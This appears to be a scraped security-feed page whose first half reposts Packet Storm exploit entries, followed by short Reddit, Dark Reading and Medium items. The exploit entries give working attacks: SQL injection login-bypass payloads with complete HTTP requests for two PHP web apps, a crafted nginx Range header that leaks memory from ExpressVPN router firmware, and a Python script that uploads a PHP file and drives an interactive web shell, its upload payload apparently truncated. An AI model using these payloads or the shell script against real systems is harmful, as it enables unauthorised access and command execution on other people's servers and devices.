Exploit Collector
Simple Student Information System 1.0 SQL Injection

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Simple Student Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | bfec25b7957828dbd5331e19f7c20a6f

Download
# Exploit Title: Simple Student Information System 1.0 - SQL Injection (Authentication Bypass)
# Date: 13 April 2021
# Exploit Author: Galuh Muhammad Iman Akbar (GaluhID)
# Vendor Homepage: https://www.sourcecodester.com/php/11400/simple-student-information-system-ajax-live-search.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11400&title=Simple+Student+Information+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: windows 10

POC

Step 1 - Go to url http://localhost/studentinfosystem/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to 'or''=' and password 'or''='
Step 5 – after entering the payload, you can enter the website
POST /studentinfosystem/index.php HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.1.14
Connection: close
Referer: http://192.168.1.14/studentinfosystem/index.php
Cookie: PHPSESSID=5sll425q7s76lpl9m1copg6mpe
Upgrade-Insecure-Requests: 1

username='or''='&password='or''='&login=Log+In


Source:packetstormsecurity.com

Exploit Collector
ExpressVPN VPN Router 1.0 Integer Overflow

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
ExpressVPN VPN Router version 1.0 suffers from an integer overflow vulnerability.

MD5 | c2b0de22fdf163131606730f4d69a979

Download
# Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow
# Date: 09-04-2021
# Exploit Author: Jai Kumar Sharma
# Vendor Homepage: https://www.expressvpn.com/
# Software Link: https://www.expressvpn.com/vpn-software/vpn-router
# Version: version 1
# Tested on: Windows/Ubuntu/MacOS
# CVE : CVE-2020-29238

*Proof of concept*:

ExpressVPN Router's Login Panel runs on Nginx webserver, the version v1 of the router's firmware hosts web login panel on vulnerable web server

ExpressVPN Summary: A publicly known bug in the Nginx server used by the ExpressVPN Router version 1.x firmware was reported. ExpressVPN no longer ships or supports that version and all users are encouraged to upgrade to the latest version of the ExpressVPN Router firmware available on our site, which is not vulnerable to this bug. Additionally, we highly discourage our users from exposing their router control panel to the Internet, as this class of bug would only be exploitable with access to the control panel, which is usually restricted to the local network. For help or support upgrading your router please visit: https://www.expressvpn.com/support/

ExpressVPN Router version 1 is vulnerable to integer overflow vulnerability in Nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

Crafted Request:
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Host: 127.0.0.1:8181
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758999
Connection: close
Response:
HTTP/1.1 206 Partial Content
Server: nginx/1.9.15
Date: Tue, 10 Nov 2020 19:22:05 GMT
Content-Type: multipart/byteranges; boundary=00000000002
Content-Length: 598
Last-Modified: Thu, 13 Sep 2018 04:55:28 GMT
Connection: close
ETag: "5b99edc0-99f"
--00000000002
Content-Type: text/html
Content-Range: bytes -14745-2462/2463


Source:packetstormsecurity.com

Exploit Collector
Native Church Website 1.0 Shell Upload

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Native Church Website version 1.0 suffers from a remote shell upload vulnerability.

MD5 | dee64438c491f2610eabc5f7febbf30b

Download
# Exploit Title: Native Church Website - Arbitrary File Upload (Authenticated)
# Date: 04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/11764/native-church-website-phpmysql.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#/usr/bin/python3

import requests
import re
from requests.models import ReadTimeoutError
import sys

s = requests.Session()

TARGET = "192.168.1.207" # <<

UPLOADS_URL = f"http://{TARGET}/native/admin/save-photo.php"
GALLERY_URL = f"http://{TARGET}/native/uploads/"

def get(url):
r = s.get(url)
return r.text

def banner():
ban = """ _______ __ __
\ \ ____/ \ / \ ______ ______
/ | \_/ ___\ \/\/ / \____ \/ ___/
/ | \ \___\ / | |_> >___ \
\____|__ /\___ >\__/\ / /\ | __/____ >
\/ \/ \/ \/ |__| \/

"""
return ban

def uploadShell():
data = (
('file', ("file.php", "<?php")),
('caption', (None, 'simprevshell')),
)
r = s.post(UPLOADS_URL, files=data)
if r.status_code == 200:
return True
else:
return False

def getLink(page):
matchObj = re.findall("href=\"(.*?).php\"", page)
return matchObj

def testURL(url):
r = s.get(url)
return r.status_code

def getUploadLink(uploads):
if len(NEW_UPLOADS) > 1:
for l in NEW_UPLOADS:
link = f"{GALLERY_URL}{l}.php"
if testURL(link) == 200:
return link

uploadShell()

# Get upload link.
NEW_UPLOADS=getLink(get(GALLERY_URL))
shellUrl = getUploadLink(NEW_UPLOADS)

print("\033[34;1m" + banner() + "\033[0m")
print("\033[37m" + "Created by: Richard Jones aka Ac1d" +"\033[0m")
#Run webshell.
while True:
print()
try:
cmd = input("\033[91mac1d\033[0m>")
if cmd == "exit":
sys.exit()
r = s.get(f"{shellUrl}?c={cmd}", verify=False)
if r.status_code == 200:
print(r.text)
else:
raise Exception
except KeyboardInterrupt:
sys.exit()

Source:packetstormsecurity.com

Exploit Collector
Blitar Tourism 1.0 SQL Injection

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
Blitar Tourism version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 03d4e059484374b7780a14a295e4a837

Download
# Exploit Title: Blitar Tourism 1.0 - Authentication Bypass SQLi
# Date: 13 April 2021
# Exploit Author: sigeri94
# Vendor Homepage: https://sourcecodeaplikasi.info/source-code-aplikasi-biro-travel-berbasis-web/
# Software Link: https://codeload.github.com/satndy/Aplikasi-Biro-Travel/zip/master
# Version: 1.0

POST /travel/Admin/ HTTP/1.1
Host: 192.168.186.132
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.186.132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.186.132/travel/Admin/
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0nr18qfifjk2f5o4kimk5ca312
Connection: close

username=admin%27+%23&password=admin&Login=Log+in

Source:packetstormsecurity.com

hacking: security in practice
Does anyone have a walk through for using CVE-2021-3156?

Context:

I'm a student in my final semester of college, and I'm taking a capstone course where we have to do a research project on a hacking/computer security related topic, and I went with CVE-2021-3156, the sudo privilege escalation. I'm trying to figure out how to actually use the exploit, but all my research has given me "Luckily, this has been patched, make sure to update your systems!" Which in my case is not very helpful.

If any of you know how it works or have any ideas on better ways to research than a simple google search, please let me know.

Thanks

submitted by /u/prodias2
[link] [comments]

hacking: security in practice
"Must watch" defcon talks?

I was watching some old presentations and asked myself, what are considered to be the "must have" of defcon talks by hacker community? What are your favourite talks?

submitted by /u/nopainXX
[link] [comments]

Dark Reading: Attacks/Breaches
Clear & Present Danger: Data Hoarding Undermines Better Security

Facebook and Google can identify patterns of attack within their own data, but smaller businesses rarely see enough traffic to successfully identify an attack or warn users.

Tencent Cloud Hadir di Indonesia, Apa yang Terbaru?
https://localhunter.medium.com/tencent-cloud-hadir-di-indonesia-apa-yang-terbaru-bf257f2e094?source=rss------bug_bounty-5

Pertama kalinya Tencent Cloud membuka cabang di Indonesia dengan sejumlah teknologi terbaharukan yakni Internet Data Center, yang diklaim…Continue reading on Medium » (https://localhunter.medium.com/tencent-cloud-hadir-di-indonesia-apa-yang-terbaru-bf257f2e094?source=rss------bug_bounty-5)

Tencent Cloud Hadir di Indonesia, Apa yang Terbaru?

Pertama kalinya Tencent Cloud membuka cabang di Indonesia dengan sejumlah teknologi terbaharukan yakni Internet Data Center, yang diklaim…Continue reading on Medium »
Read more...

Hacking on Medium
White Hat, Black Hat

https://cdn-images-1.medium.com/max/911/1*aXuJubcfim32K1M19n9PBQ.png
The word hack (the root of the word hacker) was already a few hundred years old before it became associated with attacks on computer…

Continue reading on Medium »

Hacking on Medium
​Защищаемся от IP-логгеров(от утечки IP-адреса)

https://cdn-images-1.medium.com/max/962/1*-OKbyH8MCbJgGGKbobLS0A.png
Сейчас любой школьник может подсунуть вам iplogger и узнать ваш IP-адрес, ситуация не очень приятная, согласитесь.

Continue reading on Medium »